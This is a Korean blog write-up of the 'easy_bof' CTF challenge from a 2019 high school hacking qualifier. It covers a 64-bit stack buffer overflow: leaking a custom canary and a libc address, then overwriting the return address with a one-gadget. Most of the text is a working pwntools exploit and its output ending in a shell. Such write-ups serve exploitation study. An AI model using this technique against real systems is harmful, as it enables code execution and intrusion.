Wargame & CTF/선린 고등해커 2회
[선린 고등해커 2회 예선] easy_bof
cg10036
2019. 11. 13. 07:02
Summary
64bit
stack canary
Analysis
main
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char v4; // [rsp+0h] [rbp-110h]
__int64 v5; // [rsp+108h] [rbp-8h]
sub_C33(a1, a2, a3);
sub_B00(&v5);
puts("This is warming up! :)");
puts("So ezpzezpz ~~~~~\n");
do
print();
while ( sub_D67((__int64)&v4) );
return 0LL;
}
sub_D67
int __fastcall sub_D67(__int64 a1)
{
int result; // eax
unsigned int v2; // [rsp+1Ch] [rbp-4h]
v2 = read_num();
if ( v2 > 2 )
return puts("no no ... :(");
if ( v2 )
{
qword_2020D0[v2](a1, v2);
result = -1;
}
else
{
puts("Bye~~");
result = 0;
}
return result;
}
커스텀 카나리이다. 일단 read로 카나리 전까지 문자를 채운다. 그리고 write를 하면 카나리를 얻을 수 있다.
read로 ret전까지 문자를 채우고 write를 하면 __libc_start_main+240의 값이 나온다.
현재 로컬에서의 libc에서는 __libc_start_main는 0x20740이다. 0x20740+240은 0x20830이다. __libc_start_main+240에서 0x20830을 빼면 libc_base가 나온다.
거기에 oneshot 가젯을 더해서 ret에 덮어주고 카나리를 전에 얻은 값으로 덮어씌운 후에 프로그램을 종료시키면 쉘이 뜰것이다.
Exploit
from pwn import *
e = ELF("./so_ezpz")
libc = ELF("./libc.so.6")
p = process("./so_ezpz")
oneshot = 0x45216
p.recvuntil("> \n")
p.sendline("1")
p.recvuntil("size?\n")
p.sendline("264")
p.send("A"*263+"B")
p.recvuntil("> \n")
p.sendline("2")
p.recvuntil("B")
canary = u64(p.recv(8))
print "canary : " + str(hex(canary))
p.recvuntil("> \n")
p.sendline("1")
p.recvuntil("size?\n")
p.sendline("280")
p.send("A"*279+"B")
p.recvuntil("> \n")
p.sendline("2")
p.recvuntil("B")
#leak = u64(p.recvuntil("\x7f")[-6:] + "\x00\x00")
leak = u64(p.recv(6) + "\x00\x00")
libc_base = leak - 0x20830
print hex(libc_base)
p.recvuntil("> \n")
p.sendline("1")
p.recvuntil("size?\n")
p.sendline("288")
payload = ""
payload += "A"*264
payload += p64(canary)
payload += "A"*8
payload += p64(libc_base + oneshot)
p.send(payload)
p.recvuntil("> \n")
p.sendline("0")
p.interactive()
cg10036@cg10036-virtual-machine:~/CTF/2019/highschoolhacker_/easy_bof$ p ex.py
[*] '/home/cg10036/CTF/2019/highschoolhacker_/easy_bof/so_ezpz'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/cg10036/CTF/2019/highschoolhacker_/easy_bof/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './so_ezpz': pid 4957
canary : 0x7b2153bf954068ea
0x7fb927810000
[*] Switching to interactive mode
Bye~~
$ id
uid=1000(cg10036) gid=1000(cg10036) 그룹들=1000(cg10036),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)